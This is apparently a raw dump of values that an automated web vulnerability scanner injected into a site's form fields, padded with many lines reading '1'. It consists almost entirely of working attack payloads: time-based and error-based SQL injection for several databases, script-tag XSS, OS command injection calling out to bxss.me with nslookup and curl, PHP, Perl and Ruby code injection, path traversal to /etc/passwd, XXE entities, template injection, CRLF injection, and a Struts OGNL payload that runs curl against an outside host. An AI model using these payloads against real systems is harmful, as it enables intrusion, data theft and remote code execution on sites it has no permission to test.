1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(105).concat(70).concat(103).concat(77)+(require"socket" Socket.gethostbyname("hitur"+"rhsosebf21da8.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(112).concat(90).concat(107).concat(71)+(require'socket' Socket.gethostbyname('hitqk'+'tcqvecjv7122f.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >D1ax(9142)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19261320
1
1
1
1
1
1
1
1
1
1
1
1
)
1
!(()&&!|*|*|
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1NXlqCmll
1
1
1
1
1
1
1
1
1
-1 OR 2+314-314-1=0+0+0+1 --
1
-1 OR 2+837-837-1=0+0+0+1
1
1
-1' OR 2+454-454-1=0+0+0+1 --
1
1
1
1
1
1
-1' OR 2+585-585-1=0+0+0+1 or 'HvWKIxOB'='
1
1
1
-1" OR 2+510-510-1=0+0+0+1 --
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1-1); waitfor delay '0:0:15' --
'.gethostbyname(lc('hituu'.'itupalby8d5ea.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(89).chr(121).chr(66).'
1
1
1
".gethostbyname(lc("hitwv"."kqolxocf2b79b.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(81).chr(106).chr(82)."
1
1
1-1 waitfor delay '0:0:15' --
1
1
1ZUFdvWBP'; waitfor delay '0:0:15' --
1
1-1 OR 15=(SELECT 15 FROM PG_SLEEP(15))--
1
1
1-1) OR 386=(SELECT 386 FROM PG_SLEEP(15))--
1
1
1
1-1)) OR 64=(SELECT 64 FROM PG_SLEEP(15))--
1
1
1
1
1
11VOlbbWq' OR 807=(SELECT 807 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1MRjN2xif') OR 436=(SELECT 436 FROM PG_SLEEP(15))--
1
1
1aiW5BnMG')) OR 992=(SELECT 992 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1'"
1
1
1
@@VjM2F
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
1
1
1
1
1
GtdUCsSv
1
1
1
1&n901651=v957055
1
1
1
1
1
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo vivkcx$()\ ublsyx\nz^xyu||a #' &echo vivkcx$()\ ublsyx\nz^xyu||a #|" &echo vivkcx$()\ ublsyx\nz^xyu||a #
1
1
1
1
1
&echo bpfkdz$()\ zusigk\nz^xyu||a #' &echo bpfkdz$()\ zusigk\nz^xyu||a #|" &echo bpfkdz$()\ zusigk\nz^xyu||a #
1
1
1
1&echo pmlvxq$()\ bpbrlq\nz^xyu||a #' &echo pmlvxq$()\ bpbrlq\nz^xyu||a #|" &echo pmlvxq$()\ bpbrlq\nz^xyu||a #
1
1
1
1
|echo jmsidf$()\ varzic\nz^xyu||a #' |echo jmsidf$()\ varzic\nz^xyu||a #|" |echo jmsidf$()\ varzic\nz^xyu||a #
1
1
1|echo cnesid$()\ esqnop\nz^xyu||a #' |echo cnesid$()\ esqnop\nz^xyu||a #|" |echo cnesid$()\ esqnop\nz^xyu||a #
1
1
1
1
1
(nslookup -q=cname hitrlbsytilqv22206.bxss.me||curl hitrlbsytilqv22206.bxss.me))
1
1
$(nslookup -q=cname hitnwxzqrvhpn60f21.bxss.me||curl hitnwxzqrvhpn60f21.bxss.me)
1
1
&nslookup -q=cname hitqvhioiidfd99606.bxss.me&'\"`0&nslookup -q=cname hitqvhioiidfd99606.bxss.me&`'
1
1
1
1
1
1
1
1
1
&(nslookup -q=cname hitzanmlhpypyb9fcb.bxss.me||curl hitzanmlhpypyb9fcb.bxss.me)&'\"`0&(nslookup -q=cname hitzanmlhpypyb9fcb.bxss.me||curl hitzanmlhpypyb9fcb.bxss.me)&`'
1
1
1
|(nslookup -q=cname hitrdrpsgrsou30b3d.bxss.me||curl hitrdrpsgrsou30b3d.bxss.me)
1
1
1
`(nslookup -q=cname hitgkrktsurav34ee8.bxss.me||curl hitgkrktsurav34ee8.bxss.me)`
1
1
1
;(nslookup -q=cname hitzsbjyixtpb16084.bxss.me||curl hitzsbjyixtpb16084.bxss.me)|(nslookup -q=cname hitzsbjyixtpb16084.bxss.me||curl hitzsbjyixtpb16084.bxss.me)&(nslookup -q=cname hitzsbjyixtpb16084.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
file:///etc/passwd
1
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999311+9999706}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9518266*9087765)
1
1
'+response.write(9518266*9087765)+'
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
Http://bxss.me/t/fit.txt
1
"+response.write(9518266*9087765)+"
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
/etc/shells
1
1
1
1
c:/windows/win.ini
1
HttP://bxss.me/t/xss.html?%00
1
bxss.me
1
bxss.me/t/xss.html?%00
1
1
"+"A".concat(70-3).concat(22*4).concat(101).concat(90).concat(103).concat(80)+(require"socket" Socket.gethostbyname("hitak"+"wgpahnbyff2d4.bxss.me.")[3].to_s)+"
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(108).concat(79).concat(103).concat(72)+(require'socket' Socket.gethostbyname('hitic'+'egwkgxcw7653e.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
create
1
1
1
create
1
1
1
create/.
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >G9MQ(9920)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19491586
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1g7FAzNkN
1
1
-1 OR 2+129-129-1=0+0+0+1 --
-1 OR 2+679-679-1=0+0+0+1
-1' OR 2+453-453-1=0+0+0+1 --
-1' OR 2+283-283-1=0+0+0+1 or 'tUFxXmAK'='
-1" OR 2+893-893-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1aLuV9aXS'; waitfor delay '0:0:15' --
1-1 OR 104=(SELECT 104 FROM PG_SLEEP(15))--
1-1) OR 67=(SELECT 67 FROM PG_SLEEP(15))--
1-1)) OR 305=(SELECT 305 FROM PG_SLEEP(15))--
15tVLZz10' OR 288=(SELECT 288 FROM PG_SLEEP(15))--
1LSfGHfP5') OR 222=(SELECT 222 FROM PG_SLEEP(15))--
1cg3C5V6h')) OR 745=(SELECT 745 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
@@M7DSU
)
!(()&&!|*|*|
'.gethostbyname(lc('hitlp'.'vfzkeqjn02e79.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(81).chr(98).chr(86).'
1
".gethostbyname(lc("hitto"."qufyqkvxdd07c.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(78).chr(112).chr(72)."
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n913532=v903018
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
1
1
1
";print(md5(31337));$a="
${@print(md5(31337))}
1
1
1
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Jfo9VHgW
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
file:///etc/passwd
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo lqizxw$()\ wbsigd\nz^xyu||a #' &echo lqizxw$()\ wbsigd\nz^xyu||a #|" &echo lqizxw$()\ wbsigd\nz^xyu||a #
1
1
1
1
1
&echo keousu$()\ blosbd\nz^xyu||a #' &echo keousu$()\ blosbd\nz^xyu||a #|" &echo keousu$()\ blosbd\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&echo lukeqk$()\ hfllio\nz^xyu||a #' &echo lukeqk$()\ hfllio\nz^xyu||a #|" &echo lukeqk$()\ hfllio\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
1
|echo zkgupj$()\ rggjsr\nz^xyu||a #' |echo zkgupj$()\ rggjsr\nz^xyu||a #|" |echo zkgupj$()\ rggjsr\nz^xyu||a #
1
1
1|echo uocgys$()\ mmlgnd\nz^xyu||a #' |echo uocgys$()\ mmlgnd\nz^xyu||a #|" |echo uocgys$()\ mmlgnd\nz^xyu||a #
1
1
1
1
(nslookup -q=cname hithvuyyosicf05959.bxss.me||curl hithvuyyosicf05959.bxss.me))
1
1
1
$(nslookup -q=cname hitmylqicyeqw80440.bxss.me||curl hitmylqicyeqw80440.bxss.me)
1
1
1
1
1
1
1
1
&nslookup -q=cname hitbtjtdqowwg8856b.bxss.me&'\"`0&nslookup -q=cname hitbtjtdqowwg8856b.bxss.me&`'
1
1
1
1
1
1
1
&(nslookup -q=cname hitaiblkodeij6109d.bxss.me||curl hitaiblkodeij6109d.bxss.me)&'\"`0&(nslookup -q=cname hitaiblkodeij6109d.bxss.me||curl hitaiblkodeij6109d.bxss.me)&`'
1
1
1
|(nslookup -q=cname hitiqrozshcuu9d6b9.bxss.me||curl hitiqrozshcuu9d6b9.bxss.me)
1
1
1
`(nslookup -q=cname hitzqouyorqcz00a57.bxss.me||curl hitzqouyorqcz00a57.bxss.me)`
1
1
1
1
1
1
;(nslookup -q=cname hityjsfubifxe99125.bxss.me||curl hityjsfubifxe99125.bxss.me)|(nslookup -q=cname hityjsfubifxe99125.bxss.me||curl hityjsfubifxe99125.bxss.me)&(nslookup -q=cname hityjsfubifxe99125.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999889+9999300}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
response.write(9127588*9483136)
1
/etc/shells
1
1
'+response.write(9127588*9483136)+'
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
bxss.me
1
1
1
1
"+response.write(9127588*9483136)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(116).concat(68).concat(107).concat(77)+(require"socket" Socket.gethostbyname("hitgq"+"isufzrpp9dfa3.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(103).concat(90).concat(119).concat(83)+(require'socket' Socket.gethostbyname('hitjq'+'apaqhxnu07845.bxss.me.')[3].to_s)+'
1
create
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
<!--
1
1
1
1
1'"()&%<zzz><ScRiPt >sYde(9758)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19569651
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >yi66(9960)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >yi66(9362)</ScRiPt>
1
1
1
1
1
1
1
19321345
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >fxnv(9185)</ScRiPt>
19852911
1'"()&%<zzz><ScRiPt >j2PA(9043)</ScRiPt>
19193000
bfg5780＜s1﹥s2ʺs3ʹhjl5780
bfgx1203
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
yxdwdheeycedvzlsnwne
'+(44288*41482)+'
<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY content SYSTEM "http://x.cloudfleras.com/i/4b564d/kk5k/3ewp/">]><a>&content;</a>
expr 872724611 + 957518824
|expr 880748265 + 815674934
$(expr 934873947 + 855615840)
&set /A 878893199+913257635
expr 834934150 + 956872485
CRLF-Header:CRLF-Value
%0d%0aCRLF-Header:CRLF-Value
\r\nCRLF-Header:CRLF-Value
${@var_dump(md5(805558789))};
${955210961+860432785}
'-var_dump(md5(949749781))-'
/*1*/{{828589634+811447817}}
${853794771+875298775}
${(859063820+828701765)?c}
#set($c=824449466+956961823)${c}$c
<%- 989487040+831279933 %>
'and/**/extractvalue(1,concat(char(126),md5(1838574087)))and'
"and/**/extractvalue(1,concat(char(126),md5(1876984228)))and"
extractvalue(1,concat(char(126),md5(1826455969)))
'and(select'1'from/**/cast(md5(1856373067)as/**/int))>'0
/**/and/**/cast(md5('1277890651')as/**/int)>0
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1726211844')))
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1066958949')))>'0
鎈'"\(
'"\(
%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl http://x.cloudfleras.com/i/b2850d/dy0k/m
'and'c'='c
'and'v'='r
"and"e"="e
"and"w"="c
'and(select*from(select+sleep(0))a/**/union/**/select+1)='
'and(select*from(select+sleep(2))a/**/union/**/select+1)='
"and(select*from(select+sleep(0))a/**/union/**/select+1)="
"and(select*from(select+sleep(2))a/**/union/**/select+1)="
'/**/and(select'1'from/**/pg_sleep(0))::text>'0
'/**/and(select'1'from/**/pg_sleep(2))::text>'0
'and(select+1)>0waitfor/**/delay'0:0:0
'and(select+1)>0waitfor/**/delay'0:0:2
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',0)='l
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',2)='n
'+(44162*40103)+'
CRLF-Header:CRLF-Value
%0d%0aCRLF-Header:CRLF-Value
\r\nCRLF-Header:CRLF-Value
'and/**/extractvalue(1,concat(char(126),md5(1278979059)))and'
"and/**/extractvalue(1,concat(char(126),md5(1108148269)))and"
extractvalue(1,concat(char(126),md5(1632140231)))
'and(select'1'from/**/cast(md5(1351937654)as/**/int))>'0
/**/and/**/cast(md5('1389185158')as/**/int)>0
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1126681495')))
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1612639471')))>'0
鎈'"\(
'"\(
jyiwoyxxvthmcrwkptqc
'and't'='t
<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY content SYSTEM "http://x.cloudfleras.com/i/9f9d12/4v42/4iu8/">]><a>&content;</a>
'and'e'='n
"and"c"="c
"and"r"="w
'and(select*from(select+sleep(0))a/**/union/**/select+1)='
'and(select*from(select+sleep(2))a/**/union/**/select+1)='
